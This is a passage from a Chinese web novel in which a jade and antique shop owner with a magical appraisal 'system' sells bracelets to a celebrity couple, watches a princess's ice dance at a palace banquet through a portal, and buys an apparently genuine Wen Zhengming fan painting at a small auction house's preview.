何文拿不定主意，蓝眉倒是想买手镯，戴着有面子，还能增值，奈何价格太高。 萧妧妧适时插话：“您二位是高鹭姐介绍来的，大家都是朋友，两件一起买的话，可以给二位算9折优惠。” “白月光那只550万，证书齐全，纯天然A货，旁边的几只刚到货，没来得及送去鉴定，所以价格会低一些，再算上折扣，其实非常划算。” 夫妻俩闻言沉吟片刻，果断决定再拿下一只帝王绿手镯，只是在选哪只上面出现分歧。 犹豫两秒，他们掏出手机求助朋友。 征求萧妧妧同意后，两人甚至开了视频通话请人看货。 萧妧妧没去管他们，偷偷溜出去捏了根薯条塞嘴里解馋，赶在夫妻俩发现之前又偷偷溜回来。 就在萧妧妧惦记什么时候能吃上晚饭，夫妻俩给了痛快话。 “萧老板，我们要900万的那只帝王绿，再加上550的白月光，您给算算吧。” 何文得到老朋友的帮助，确定两只手镯这个价买的非常值，二话不说掏手机，甚至语气有些急促，生怕错过机会。 萧妧妧一喜，戳了几下计算器，推*过去给他们看一眼：“二位第一次来，为表示我的诚意，后面零头就算了，一共1300万。” 蓝眉对零头的概念是小数点后面的一块两块，夸张一点是千八百块那种。 听到萧妧妧报出1300万的数字，两人又惊又喜，这是直接便宜了5万。 倒不是5万对他们来说有多紧要，而是不自觉对比起从前几次翡翠买卖经验。 100万的翡翠商家至少挣60万，即便如此也没有多少人主动抹零头，最多搭送点东西，甚至连5000块都要争一争，来回砍价能掰扯半天。 何文呆了一瞬，双手合十连声说谢。 蓝眉笑眯了眼，头一回感受到原来买翡翠也可以这么顺畅，手镯套上手腕干脆不摘了。 票据和礼盒一起递过去，萧妧妧送他们出门。 “二位可要多多介绍生意啊，新店开业优惠多，越早买越划算，后面客源稳定了价格回调，可就没这么便宜了。” 两人听到价格可能要回调，心情更舒爽，拍胸脯答应为她介绍生意。 出了巷子，何文手机一闪，高鹭消息迟缓发来。 点开语音，高鹭的声音传到夫妻俩耳朵里。 “我刚拍戏去了，才看到消息，你们买下了吗？快快快赶紧买，别问了，900万真的划算，还是帝王绿，搁在市场上抢不到的。” “萧老板给你们优惠了吗？有优惠更得买，你们刚入圈其实不适合买这么贵的，但是这家东西没得说，机不可失。” 听到这里，夫妻俩心情越发飞扬，看手上两只镯子更是爱得不行。 这是他们头一回买了翡翠后，身边懂行不懂行的朋友一致说好的。 从前花了百来万买到手的冰飘花，戴出去朋友都说不值，说得他们心里惴惴，转手出去发现回收价低了40来万，坑惨了他们。 蓝眉眼珠子一转，说：“要不再买几只？你片酬不是下个月到吗，就买一个，当是买保险了。” 何文没吱声，心里有些意动。 这不比买房子划算太多？ 蓝眉说到一半神情懊悔不已：“早知道前面那几个冰飘花就不买了，加一起有300来万，刚好能买那只冰川蓝，多漂亮啊，不知道下回还有没有。” 何文摇头：“漂亮有什么用，流通不出去一样砸手里，我看还是买帝王绿好。” 蓝眉一想也对，当即联系萧妧妧，询问下次上新是什么时候，能不能提前预约留几只帝王绿。 上千万的他们买不起，几百万的不是问题。 今天最后一笔生意做完，萧妧妧一动不想动，算出整天的营业额超过8000万后才勉强恢复一丝力气。 抽空回复蓝眉的消息，萧妧妧锁紧大门飞奔回去吃晚饭。 她来得晚，饭菜早没了热乎气，放在夏天刚好。 狼吞虎咽，又喝下大半杯奶茶，萧妧妧总算活过来了，四肢充满力量。 如果晚上不用接货她会更高兴。 “接货还早呢，先去打包翡翠吧，要我帮忙吗？” 萧妧妧瞬间垮下肩膀，五官皱成一团。 “没关系，我应付得来。” 前面送出去两箱，共计98件，这次萧妧妧可以少准备些，挑30个中高档货足以。 卖完这三箱，萧妧妧打算缓一缓，货太多总归有点惹眼。 况且她要跑预展，生意太好忙不过来。 闲聊一阵，天色黑透，萧妧妧坐在院中挑选翡翠打包。 这次数量少，速度也提上来了，不到一小时，视频拍完，信息登记完毕，价格计算完成。 琐碎的收尾工作忙完，萧妧妧彻底闲下来，翘着脚躺下。 “真想像你们一样悠闲啊。” 两三天没出现的柳如烟盛装打扮，踏进院中时闪得两人差点不敢认。 萧妧妧沉默了一会，大声反驳：“谁悠闲了，我们这两天简直忙疯了，一天比一天忙，忙的方式还完全不一样。” 孟甜甜举起手：“我作证，没有一句假话。” 柳如烟砸吧砸吧嘴，提着裙子在旁边坐下：“那现在忙完了吧？怎么样，要不要看我跳舞，保证艳惊四座，惊掉你们下巴。” 萧妧妧上下打量她：“你天天在我这里玩平板看偶像剧，你练舞了吗？” 孟甜甜目光斜瞥过去，有同样的质疑。 柳如烟不服气地昂起脑袋，金色流苏在耳畔晃啊晃，“你们以为我不学无术吗？我那是在背地里用功，你们看不见罢了。” 她气哼哼起身：“爱看不看，反正错过这次你们想看也看不到。我回去换衣服，马上该到我表演了。” 坐了没一会，柳如烟转身要走，走之前顺手牵羊了一块鸡米花塞嘴里。 两人对视一眼，搬上板凳去结界门口守着，看看她能跳出什么花样。 孟甜甜好奇问：“她要跳什么？” 萧妧妧迟疑：“应该是冰嬉舞吧？” 孟甜甜：“没听过，是什么舞种？” 萧妧妧掏出手机，介绍冰嬉舞。 刚开始还好，只说舞，后来话题渐渐走偏，转变为萧妧妧疯狂安利她的电子榨菜。 两人说得尽兴，差点忽略了柳如烟，听到结界那边传来乐曲声才转移注意力。 孟甜甜赞叹不已：“要不是烟烟，我这辈子哪看得到太后过大寿的场面啊。” 萧妧妧捣了捣她胳膊：“看最上面那个，柳如烟的哥哥吧？长挺帅啊。” 孟甜甜目光偏移，看到两侧数十位嫔妃，刚要跟着一起感叹一句帅，硬生生憋了回来。 恰好这时湖面浓烟散去，柳如烟一身金色衣裙，踩着特制的鞋呲溜一下滑出来。 萧妧妧好整以暇欣赏，越看越觉得陌生，大约是重新编排了寓意吉祥的动作加进去，十分适合祝寿。 她掏了掏手机，想拍视频留念好让柳如烟惊喜一下，看到屏幕里只有一片大白墙遗憾放弃。 孟甜甜：“跳得意外不错。” 萧妧妧附和点头。 两人正嘀咕，结界陡然荡起波纹，申明月冷不丁闯了进来，带来一阵潮湿寒气。 仰头看过去，她一身蓑衣，斗笠滴滴答答，脚边很快汇聚一滩水。 申明月习惯性往里走，猛一抬头看见两人，六目相对彼此都愣了一会。 孟甜甜瞅一眼她身后，天上乌云滚滚，闪电时不时划破天空，雨水哗啦啦。 “好大的雨啊，一起看烟烟跳舞？” 她起身找来毛巾递过去，挪了张椅子搁在旁边，邀请她坐下。 申明月想了想，突降暴雨，一时半会离不开，索性应下，去院子里解开蓑衣斗笠晾晒。 萧妧妧见她身上湿漉漉，调高空调温度，推去一杯热牛奶，又找来拖把清理地板上的水渍。 三人好不容易坐定，柳如烟的冰嬉舞也进行到高潮部分，匀称身体扭出高难度姿势。 申明月没见过这世面，看得入神。 她们看到柳如烟像个花蝴蝶在冰上来回翻飞，又像陀螺转个不停，配合数十位舞姬的衬托，确实像模像样。 祝寿的冰嬉舞结束，她踢掉特制的舞鞋快步走到大殿中央说贺词，得到亲哥亲妈一连串的赏赐和夸赞。 “公主殿下心思灵巧，惊想到在冰上起舞，当真是妙极。” “公主殿下这一支冰嬉舞不容易啊，可见其孝心呐。” 朝臣命妇十分给面子，笑容满面地称赞。 柳如烟竖起耳朵，环顾一圈，就没有人不夸她的，连陈松那个王八蛋都一脸惊艳地望过来。 狠狠出了把风头的柳如烟笑容明媚，得意极了。 旁人问起只说特意为母后准备的，偷偷排练了月余，绝口不提练这只舞的初衷是为了吸引陈松注意。 顺带给自己遮掩一二，解释她为何连续数日关在寝殿中。 她提着裙摆回到配殿换衣裳，路过与她别苗头的表姐表妹们，脑袋高高昂起，傲娇天鹅似的冷哼一声。 等柳如烟领着一大串宫女消失，几位郡主县主凑到一处交头接耳，完了齐齐瞪向柳如烟消失地方向，又齐齐露出娇羞神色，小心翼翼偷瞥当世文豪陈松陈起居郎。 萧妧妧瞅了半天，终于把瓜吃明白了，原来是小姑娘们被文抄公迷了心窍，互相之间看不顺眼。 “你得把话说清楚，是她们，我可不能算进去。” 三人吃瓜被正主抓个正着，尴尬闭嘴。 柳如烟没放在心上，在她们面前转了个圈，美滋滋地问：“怎么样怎么样，是不是艳惊四座了？陈松眼睛都看直了，哼，后悔去吧他。” 面对柳如烟一副求表扬的神态，大家无比默契，变着花样说好听话。 柳如烟被哄得心花怒放，食盒往桌子上一放。 “尝尝，我特意安排御膳房留的，一直温着呢。” 揭开食盒盖子，看清斗彩盘子里的食物，三人不约而同地发出没见过世面的哇声，疯狂吞咽口水。 “佛跳墙、驼峰炙、金齑玉脍、八宝鸭，对了，还有我最爱的琼酥醪。” 柳如烟取出一样报一个名字，样样都是费时费力的大菜。 尤其驼峰炙的食材，搁在现代可太刑了，大家只听说过，没尝过滋味。 好起来了，能品尝到宫廷御膳。 旁边的炸鸡薯条相形见绌，萧妧妧连忙把它们拨到一边，挪出足够位置。 申明月刚好没吃饭，又淋了雨，现在就想吃点热乎的，率先拿了筷子大快朵颐。 柳如烟瞧见没说什么，嘴角翘成耐克，招呼萧妧妧和孟甜甜一起。 萧妧妧为难地摸了摸肚子，上一顿还没消化呢。 她随便尝了几口，吃出味道便放下，孟甜甜也只尝了味道便停下，两人小口小口喝琼酥醪。 味道有点怪，但比奶茶好喝，有点上头。 柳如烟很高兴自己喜欢的食物得到大家认可，匆匆交待一声，回去继续参加宫宴。 三人吃饱喝足已经接近深夜，申明月那里雨势越来越大，根本回不去。 萧妧妧见状，心安理得地逮住申明月给她当苦力。 【作者有话说】 感谢读者“热爱学习的知识分子”,灌溉营养液 +3 感谢读者“婷婷”,灌溉营养液 +1 177 第177章 ◎三天营业，两天备货◎ 凌晨2点32分,萧妧妧、孟甜甜、申明月三人死鱼一样，大字型陷进摇椅，幽幽吐魂。 申明月有气无力地求证：“我买的粮食，有这么多？” 萧妧妧在门外帮着工人一起装车,推到门口由申明月和孟甜甜接手推进仓库。 她有系统帮忙,粮食运进库房无需码放,找个地方随便一丢就是,即便省去一个最费力的步骤，两人也累得够呛。 萧妧妧拍拍她肩膀：“你给的翡翠太多了,这才哪到哪。” 这么点粮食，一件挂坠的价格都没用到。 批发的玻璃餐具更便宜,要不是她不想砸招牌，选了出口品质的高档玻璃餐具,换成普通货价格还能砍一半。 申明月揉揉胳膊，幸福地叹息一声,嘿嘿笑。 “真好,这么多粮食全是我的了。” 萧妧妧：“今天这批是高粱,我们这的春高粱,8月才收上来的,过两天还有大米和玉米。” 申明月听到后半句，高兴地咧嘴，回味前半句后，雷达滴滴响。 “春高粱？难道还有夏高粱秋高粱？是春天熟的意思吗？” 萧妧妧喝掉最后一碗琼酥醪,缓缓开口解释。 “确实有夏高粱，春夏指播种时间,比如春高粱,3、4月播种7、8月收获,夏高粱是6月播种，10月收获。” 申明月听得直发愣：“你们这里的高粱一年两熟？” 萧妧妧点点头：“是啊，我们的农业科学家改良过品种，有早熟晚熟抗寒抗旱的区别，不同地区适宜种不同品种。 高粱耐寒耐涝，要是放在热带地区甚至可以多熟。理论上是这么说，咱也没种过地。 哦，对了，我们这的高粱不同品种用途不同，有的适合酿酒，有的适合做饲料，我给你买的是食用高粱，籽粒大，口感好。” 申明月大脑飞速运转，以至于有些晕乎，好一会后，不确定地问：“如果、我是说如果，买食用高粱回去播种，是不是……” 萧妧妧沉吟一会，选择保守一点的说法：“我不清楚你那里的地理气候环境，说不好种子在那里会有什么表现。 你要是真想种，可以小范围试试，这样，我联系种子公司给你买包衣种子，发芽率高。” 这事不难，她给苏娇娇买种子的时候就和种子公司联系过，老熟人了。 唯一的麻烦在于，她要如何弄清楚申明月那里的气候条件土壤条件。 苏娇娇那里好办，直接对应地理位置查资料，方便快捷。申明月那里说好办也好办，说麻烦也麻烦。 萧妧妧考虑到效率问题，首先选择抓一把土壤送去检测，可以快速判断酸碱性，匹配适宜植物。 但土壤只是基础，降水、温度、光照等问题也需要考虑进去，这部分就麻烦了许多。 两人对这些一窍不通，两眼一抹黑，只能由申明月回去打听或者找到气象记录做为参考。 申明月一听，比起粮食，这几件事都不算太难，小鸡啄米似的点头，不假思索应声。 “要要要，试试而已，万一有好结果可就是天大的好事。 要什么样的土壤？我正好带人巡查河堤，马上能给你带一捧过来。” 萧妧妧查了资料，确认好样本需求条件，一一叮嘱申明月。 两人用自己的方式，各自记下这件事，等天亮了就把事情推进下去。 三人叽叽咕咕一阵，孟甜甜打了个哈欠，她们才意识到时间不早了。 萧妧妧懒得回家，决定在客房将就一晚，拿上睡衣进去洗漱。 申明月不敢歇下，怕手下人找来错过回头解释不清。 借用卫生间冲了澡，换上洗净烘干的衣服，她老老实实等在结界附近看情况变化。 孟甜甜帮着她把摇椅搬进去，至少躺着舒服些，道一声晚安后回房间睡觉。 明月高悬，忙乱一天的小院终于回归了宁静。 萧妧妧睡得不踏实，哼哼唧唧的呓语里依稀能分辨出她在做梦，梦见不破斋的翡翠遭到哄抢，最后卖无可卖，被买家下了江湖追杀令。 孟甜甜同样不踏实，梦见追着她咬的丧尸开始排队买翡翠，把她当替身的渣男痛哭流涕，抱着她的腿求买翡翠。 申明月困得不行，却要强打起精神，一边畅想粮食丰收的场景，一边忧心连下三日的暴雨，目光越来越涣散。 直到院外街巷传来环卫工拖着垃圾桶咯噔咯噔经过的动静，三人几乎是同时惊醒。 萧妧妧回忆起梦境片段，吐槽自己做生意做魔怔了，梦里也忙个不停。 孟甜甜抹一把虚汗，庆幸丧尸不会追进小卖部，渣男不会知道她在哪。 幸好只是做梦……两人齐齐吐出一口气，然后翻了个身，继续陷入沉睡。 申明月迷迷糊糊起身，一时间分不清自己究竟有没有睡着，索性脑袋穿过结界淋一会雨，迅速清醒。 天蒙蒙亮，月牙巷商铺接连开启营业前准备，杂乱动静陆续在街巷里回荡。 萧妧妧顶着鸡窝头，揉着眼睛出门，孟甜甜刚好洗漱完毕从客房出来。 两人在院子中央碰头，含糊不清地说一声早安。 早饭摆上桌，三人无精打采地聚在一起，闷不吭声吃早饭。 饭后，萧妧妧沉痛宣布：“今天暂停营业。” 照昨天繁忙程度继续下去，两人的胳膊腿都得报废一回。 古董生意还好，晚上的力气活才考验人，睡一觉起来，四肢像未经驯化一般，各有各的想法。 谁遭得住这一天一夜的忙啊，尤其今晚又有一批货送到，白天说什么也不能营业了。 萧妧妧对此理直气壮：“这不叫偷懒，三天营业，两天备货，我们这种小众高端店铺是这样的。” 孟甜甜轻易接受了她的说法，并且表示极力赞同。 刚达成共识，院门咚咚咚响。 “老板，开门啊，我们来买翡翠。” 三人面面相觑，申明月顶着两坨黑眼圈看她们：“卖吗？” 孟甜甜也去看萧妧妧的态度。 萧妧妧瞄了瞄古董铺，到底没能抵挡住金钱的诱惑，在两人谴责目光里打开院门。 “老板，我们要买阳绿半山水和冰飘花。” 萧妧妧一拉开门，两张脸出现在眼前，一张陌生但神情不善，一张眼熟却有点细微变化。 她瞅了瞅女孩红肿的眼睛，迟缓认出是前两天过来卖翡翠的女孩，被前男友坑了的那个。 神情不善的女孩高挑些，拽着核桃眼女孩进店，目标明确，直奔首饰柜。 两人进店后看到空荡荡的首饰柜不由傻眼，萧妧妧慢一步跟上去，解释道：“鉴定过的已经卖完了，还有几个没鉴定的，刚好符合你们要求。” 高挑女孩满不在乎：“没关系，我们要。” 萧妧妧多看她一眼，转身去首饰盒挑出来两件。 一件冰飘绿花的是上回给核桃眼女孩做对比的，半山水那只卖出去了，她另外找了一只出来。 “冰飘花120万，半山水便宜点，100万。” 高挑女孩接过手镯，二话不说拉起核桃眼女孩的胳膊，强硬地套上手腕。 “戴着，等会让他睁开狗眼看看，真正的翡翠到底是什么样。” 核桃眼女孩怯怯说一声，“太贵了。” 高挑女孩冷哼：“就要挑贵的，不然他以为咱们多稀罕他那些假货呢，死装男还敢诈骗，送他坐牢都是便宜他。” 核桃眼女孩不敢吭声了，垂头耷脑。 高挑女孩爽快道：“老板，开个收据吧，包装盒就不用了，我们戴着走。” 掏卡刷卡，一气呵成，两人来去匆匆，留下了220万和吃不明白的瓜。 萧妧妧抓耳挠腮，迫切想知道渣男下场，社交平台一搜，果然对应上了一条热门帖子。 三人凑在一起吃瓜，蛐蛐半天，一人骂了一句渣男做为结束语。 给小卖部冷藏柜补货，下架临期商品，做好前期准备，萧妧妧发誓古董铺绝对不会再营业了。 在孟甜甜质疑的目光中，萧妧妧回房间搞了一身佛女穿搭，戴上她的翡翠饰品，揣上拍卖藏品图录，出发看预展。 首先是佳博，藏品众多，关键是预展举办地点离家近。 她骑上史努比，先去鉴定机构送昨晚才选出来的翡翠加急鉴定，结束后绕去随园。 佳博秋拍在中秋前后，预展提前一个月举办，9月1号就开始了，萧妧妧担心人多拥挤，特意迟了两天过来。 她考虑得挺好，但没想到佳博的秋拍如此受关注，错峰看展仍旧有许多人。 最妙的是一路走来能看到不少老熟人，萧妧妧先后和林教授、孟有树、张老板几人碰面，一一打过招呼，各自散开继续看藏品。 萧妧妧偷摸关注他们，发现大家目标有大半重合。 来源清晰，曾在四大行拍出高价的藏品毫无疑问是大家关注的焦点，来自民藏的生货同样受到大家关注。 她心心念念的青花大肚瓶、将军罐、釉里红……展柜前围了一圈人等着上手。 看的人不少，竞拍环节到底有多少人愿意出手，那就难说了。 总之，竞争激烈啊。 萧妧妧鬼鬼祟祟偷瞄半天，心凉了半截。 这还怎么捡漏？ 临近中午，展厅的人少了大半，萧妧妧抓紧时间给自己看好的几款瓷器估价。 名家珍藏可以划出去，来源清晰，价格透明，市场行情一查就清楚了，没什么可纠结的，买不买、多少买，全看买家喜欢。 至于能不能捡漏，不好说，至少不会买到假货砸手里。 萧妧妧重点挑出几件民藏，尤其来源报告不清晰，真伪存疑的进行估价。 因为存疑，拍卖方给的估价不会太高，意味着起拍价也高不到哪去，竞争者少，适合知识储备丰富的藏家捡漏。 万一买到真货，转手能以百倍价差卖出去。 萧妧妧对古玩知识的储备甚至连标准线都没有达到，唯一靠得上的只有系统估价。 她快速筛一遍，果然有一件真东西，恰好是她一直关注的民藏生货，青花大肚瓶，正经一点的叫法是天球瓶。 小口，直颈，丰肩，圆球腹，保存相当完好，从其他藏家交流中可知，妥妥的雍正天球瓶，龙纹完整无损。 或许是这件藏品不算名品，又或许是引诱藏家竞拍，总之拍卖行给的估价在230-420万，不高。 但天球瓶的市场行情相当不错，便宜的小千万，贵的能飙到9000万，名品过亿不是难事。 系统给的估价和市场价差不多，6300-8400万，绝对是真货无疑。 萧妧妧当即做出决定，天球瓶势在必得。 这一圈走下来，看好的藏品大多心里有数，哪些可买哪些可不买，心里盘算的门清。 趁着人越来越少，她加快速度把书画区一起逛了。 老思路，先看真伪存疑，且如果是真货会非常值钱的那一类，能捡漏最好，捡不到就算了。 毕竟佳博是大拍卖行，有专业鉴定师把关，不见得能让人轻易捡到漏。 【作者有话说】 感谢读者“熙妍”,灌溉营养液 +5 感谢读者“婷婷”,灌溉营养液 +1 178 第178章 ◎文徵明真迹◎ 萧妧妧没抱太多希望,一边闲逛，一边估价。 才走出去十几米，拐了个弯，冷不丁看到孟有树拿着放大镜在看一幅画。 萧妧妧好奇凑过去,孟有树正好招呼她一起看。 “你来的正好,来掌掌眼瞧瞧如何？看起来是有点像那么回事。” 孟有树递来放大镜,自己绕去另一侧看卷轴。 萧妧妧哪看得懂啊,图录里翻到对应编号，只看到有标注“允许洽购”字样,没找到流传记录，拍卖行给的估价是300万-450万,疑似文徵明真迹。 萧妧妧恍然，书画收藏圈里,文徵明绝对属于热门选手，信札、扇面等小品类可卖出几十上百万不等,真迹精品画作动辄千万起跳,代表作甚至可以拍出过亿价格。 价格昂贵,普通藏家难以企及,大多是孟有树这样有实力的头部藏家更为青睐。 它既是一幅画,也是资产配置的硬通货，高回报、高稳定性，绝对是收藏圈的顶级品类。 别说孟有树了，萧妧妧也好奇它是真是假。 文徵明流传于世的作品数量不少,当然，仿品、赝品、代笔等同样不少,堪称泛滥,稍不留神买到假货不是稀罕事。 虽说大拍卖行真品率较高,但存在假货的可能不是没有。 萧妧妧兴致勃勃的估价，直到看见系统给出80-100万的价格区间，她刚火热起来的心瞬间冷却。 不是真迹，但能给出百万元的估价，估摸着有点历史了，大概率是具有一定收藏价值的仿作。 萧妧妧含糊提醒：“不好说，感觉差点什么。” 孟有树琢磨一会，记下编号发出去，安排专业人士后续再次评估。 萧妧妧羡慕不已，孟有树能摇来专业团队，她只有系统可以依靠。 正好碰见，两人索性结伴，孟有树笑呵呵问：“萧老板看上哪件了？” 萧妧妧：“随便看看，书画不是我擅长的方向，主要是来感受一下。” 佳博秋拍的书画藏品可不简单，不少名家珍藏，还有海外回流的藏品。 前者不必说，价格居高不下，后者真假难料，赌的成份很大。 黎行聿提前透露过，不建议她冲动消费，买点百来万的藏品练练手足以。 萧妧妧也确实没打算买什么书画，一是她目标高，想买个唐伯虎真迹狠狠出风头，其他的完全看不上。 二是她对书画没兴趣，更没研究，俗人一个，只爱珠宝翡翠。 孟有树一想也是，不破斋金银器物和瓷器最多，再是一些杂项，似乎没见到书画古籍。 “你要想感受啊，回头去杏问看看，这是一家专做字画书籍拍卖的，咱们南市本土的小拍卖行，大众知名度不高，说出去都没人听说过，圈子里倒是小有名气。” 萧妧妧意动，大拍卖行捡不到漏，小拍卖行可以试试。 孟有树见她感兴趣，顺势邀请：“正好，我下午要过去一趟，一起？” 萧妧妧神情微囧，果然，大小拍卖行一窝蜂举行季度拍的时候，收藏圈像赶场子一样。 孟有树用了三天时间把佳博的预展逛完，之后是其他拍卖行的预展，行程紧凑。 萧妧妧欣然同意，两人午饭都没顾上吃，逛完书画区直奔杏问。 说来巧合，杏问的预展展厅并不算远，严格说起来属于月牙巷范围。 整个拍卖行藏在一座古朴小院里，隔壁有一座民俗博物馆，街巷商铺、公司多是文化行业相关，浓浓的艺术文化气息。 原来这么近啊，难怪孟有树会把这两处行程安排在一起。 进了院子，萧妧妧首先拿来一本图录。 比起佳博的秋拍，杏问无疑是小规模，拍品总共120件，海内外藏品都有，书画圈稍微有点冷门的品类在这里都能找见。 知识不够深厚的藏家还真不一定能笑着脸走出去。 杏问专做书画拍卖，具有很强针对性，前来参观的藏家多数在此领域深耕，彼此熟得不能再熟，孟有树一进院子接连和三四位老朋友打招呼。 “刘老师好久不见啊。” “真巧，秦教授也来了，您们约着一起的？” “二位这次打算买几件啊？” “我刚从佳博过来，正好给你们介绍一下，刚踏入收藏圈的新人，萧妧妧萧老板，佳博碰见了一起过来逛逛。” “萧老板可别小看几位老师，都是咱们书画这个圈子的名家呢。” 萧妧妧惊讶不已，又遇见活着的名家了。 她笑容谦虚，一一握手打招呼。 托孟有树的福，萧妧妧接连认识不少书画收藏家，只可惜她太过年轻，相互介绍后，并没有多少人把她当回事，态度冷淡疏离。 对上孟有树安慰的眼神，萧妧妧耸耸肩，无所谓的笑笑。 这种场面不是第一次发生，也不会是最后一次。 年轻的陌生女性，出现在专业性质较强且以男性为主导的圈子里，被轻视乃至无视都是家常便饭。 尤其在收藏圈子里，像萧妧妧这个年纪的，不论男女，老藏家一致的俯视姿态，认定年纪轻的阅历、经验、学识无一拿得出手。 当然，萧妧妧对书画方面也确实没有太多沉淀。 萧妧妧单纯的想捡漏，没打算社交，对他人的态度不以为意，自顾自闲逛。 偶尔碰到一处，她大大方方跟在他们身后听他们交流，姑且算偷师吧。 可惜萧妧妧对书画研究不多，底子不够，听不太明白，但这些并不妨碍她什么。 老藏家一致认定假货的东西，自然不用再确认，拿不准的她才舍得用一用系统估价。 “这件看起来有点像，但是名字糊了，不好说啊。” “纸是对的，字迹风格也对，我看有点真。” 几个老头子老花镜一戴，放大镜紧攥，各自表达意见。 萧妧妧出于好奇，扫描他们手里研究的某本海外回流藏品，看到系统给出30000块的价格，她默默撇开目光看向别处。 孟有树对古籍没什么偏好，只看字画，往旁边迈一步看另外一件藏品。 “呦……又是文徵明的，我来瞧瞧是真是假。” 闲逛中，孟有树看到熟悉工笔风格，目光顿住。 萧妧妧跟上去凑热闹，看清标牌上的介绍，暗暗说一句好巧，今天好像和文徵明杠上了。 不止这一幅，旁边另有三幅扇面同为文徵明作品，水墨金笺，尺寸均在18×50cm左右的山水画。 比起佳博那件画作，面前钤印徵明二字的扇面属于小品类，可就算小品类，表现依然不俗。 小尺寸的扇面几万几十万不等，大尺寸的上百万，精品大尺寸扇面迈入千万门槛的情况也不少见。 至于到底能卖出什么价，因素太多，主要还需看藏品具体情况。 孟有树看中的那个尺寸不大不小，略微斑驳，非常明显的古旧气息。 萧妧妧看不出哪里好，反而喜欢旁边品相更好的那副。 钤印徵明，题识：嘉靖丙午九月。是一幅字画合璧的泛舟山水图，有徐邦达题跋，没有霉斑、折痕，保存完好。 至于真假，那可说不准了，哪怕有九成真，在看到四幅文徵明的扇面同时出现，又出自同一送拍人，九成也得降到五成。 萧妧妧翻开图录，一看信息又是海外回流，与前面看的几件存疑书画出自同一人，骤然失去兴趣。 展厅逛到出口位置，这一圈下来没见着多少值得出手的好东西，萧妧妧不死心，抱着试试看的心态，给面前的扇面做了系统估价。 “这可难选了，四幅呢……” 孟有树在展柜前徘徊，瞅了好一会，翻开图录一看，暂时歇了心思。 生货，从未在国内市场出现过，风险太大。 这种情况一看就是遗产继承了长辈手里的老旧玩意，后代不识货或者不愿意留，通通拿出去清仓大甩卖。 把这次预展看好的几件编号记下发送出去，孟有树打算离开，回身和萧妧妧说话时，身后空无一人。 孟有树四下寻找，冷不丁看到萧妧妧在和工作人员询问什么。 “怎么了？”他上前询问。 萧妧妧通红着脸，腼腆微笑，“看到一个还不错的扇面，我想提前洽购。” 孟有树嚯了一声，竖起大拇指：“萧老板够果决，我看看是哪幅？” 萧妧妧迟疑了两秒，如实说道：“您肯定知道，就在您刚刚看到的文徵明扇面旁边，第四幅。” 孟有树有印象，四幅扇面只它一个保存完好。 他顿时失去再看一眼的兴致，考虑到萧妧妧投资自家侄子的产业，算合作方，出于老玩家的友善关照，多嘴劝几句。 “风险可不小，你当心着点，别冲动，市面上好货很多的。” 对于新入市场的藏家，孟有树和黎行聿保持一致态度，都建议理性下场。 几万十几万是大多*数新藏家的选择，大几十万至百万勉强能说一句合适。 在收藏决策中，二人看法出奇的相似，新兴的艺术品不推荐，当代艺术品有起有伏容易爆雷，爆火的行情虚高，同样不推荐。 传统的书画、古董、雕塑等表现更为稳健，是个非常不错的选择。 萧妧妧认同他们的观点，也接受了他的好意，但这一次不打算采纳，恳切道：“谢谢您提醒，我就是单纯喜欢它，而且才80万，不贵。” 萧妧妧这么回应，孟有树无话可说，千金难买喜欢，人之常情。 两人说话的工夫，杏问的客户经理找来，引萧妧妧去会谈室。 孟有树另有行程安排，不可能等她，临走前嘱咐她多还价。 萧妧妧笑眯眯应声，挥挥手目送他离开，忙不迭和客户经理去了隔壁。 除了公开竞拍，提前洽购是另一种常见的交易选择，对买卖双方来说更隐秘、灵活。 为保证藏品顺利出手赚取佣金或差价，拍卖行甚至会协助促成交易。 萧妧妧屁股刚落座，不等经理询价，她径直开口。 “069的估价在50-80万，我愿意出80万买下它。” 头一回有人洽购没往下砍的，客户经理差点整不会了。 他翻开图录推过去，按照流程提示：“您再看一下，069号为争议性藏品，我行不对真伪进行担保。此次洽购需出示资金证明，还需要您在签订协议后快速支付。” 萧妧妧不想表现得太急切，老老实实听完，依旧果断点头。 客户经理愣了片刻，表示需要打电话请示一下卖家。 萧妧妧佯装淡定，等客户经理起身离开，忍不住在桌下搓了搓手。 她说什么来着，小拍卖行果然适合捡漏。 四幅扇面只有一幅是文徵明真迹，恰好是她一眼看中的那幅。 名家题字，保存完好，萧妧妧看到系统给出545万的估价时，心脏差点跳出嗓子眼。 545万的文徵明书画合璧扇面，绝对是这一品类里的精品，她转手送去佳博就是赚。 价差将近500万，她守着古董铺半天就能赚回来，但两者不是一回事。 后者的捡漏更具有赌博性质，赌赢了的感觉和做生意赚钱带来的感受大不一样。 萧妧妧一看到估价，毫不犹豫决定洽购。 她忐忑等卖家回应，心里止不住得意，这么大漏让她捡到，出息了。 “恭喜女士，卖家同意了。” 萧妧妧等了三四分钟左右，客户经理笑容满面的进来。 他一坐下，拉开抽屉拿出一份洽购协议，飞快填上金额和打款期限。 直到协议摆在眼前，只等她签字付钱，萧妧妧心里踏实了。 交由系统扫描，除了保真条款有风险，其他毫无问题。 而保真条款经理提前说明，并不算什么大问题，萧妧妧爽快签名，递还回去等他盖章。 客户经理很激动，抽屉里翻找印章，蹭了蹭印泥…… “经理，秦教授想洽购069号，我把人领过来？” 好巧不巧，工作人员急急忙忙走进来通知。 萧妧妧一顿，069号，不就是她看中的这件？ 【作者有话说】 感谢读者“eximious~chyx”,灌溉营养液 +1 感谢读者“兮然”,灌溉营养液 +32 179 第179章 ◎大心思◎ 客户经理闻言一同顿住,印章悬于纸上，仅差一两寸距离就能盖上。 这下好了，盖也不是，不盖也不对。 “这……”他面露为难,抬头看了看萧妧妧脸色。 萧妧妧的脸色不太好看,稍显紧绷。 关键时刻冒出来竞争者,运气可真不好。 客户经理拿不定主意,这都谈完了，现在反悔安排客户重新竞价,肯定不太合适？ 可话又说回来，协议没盖章等于没谈成,此时的正常流程是要安排双方竞价。 竞得越狠，拍卖行赚得越多,何况秦教授是大客户。 电光火石间，两人思绪飞转,短短两三秒仿佛有十几分钟长。 萧妧妧舍不得进嘴的鸭子飞了,趁经理迟疑,果断伸出手助他一臂之力,按住他的手掌往下拍。 “哒”一声,鲜红的印子出现在协议上。 萧妧妧看到红印后，不急不忙，掏出手机电子转账。 80万元显示打款成功，萧妧妧举起手机,大大方方展示屏幕。 “经理，069号是我的了,对吧？” 经理见事已成定局,重新扬起笑容：“当然,咱们都商量到这地步了，肯定不能让人抢走。先来后到的规矩还是要守的。” 萧妧妧微笑，心里忍不住腹诽，经理刚才的表情完全不是这么回事，分明在措辞如何劝她参与竞价。 工作人员等在门边眨巴眼睛，不知道如何办。 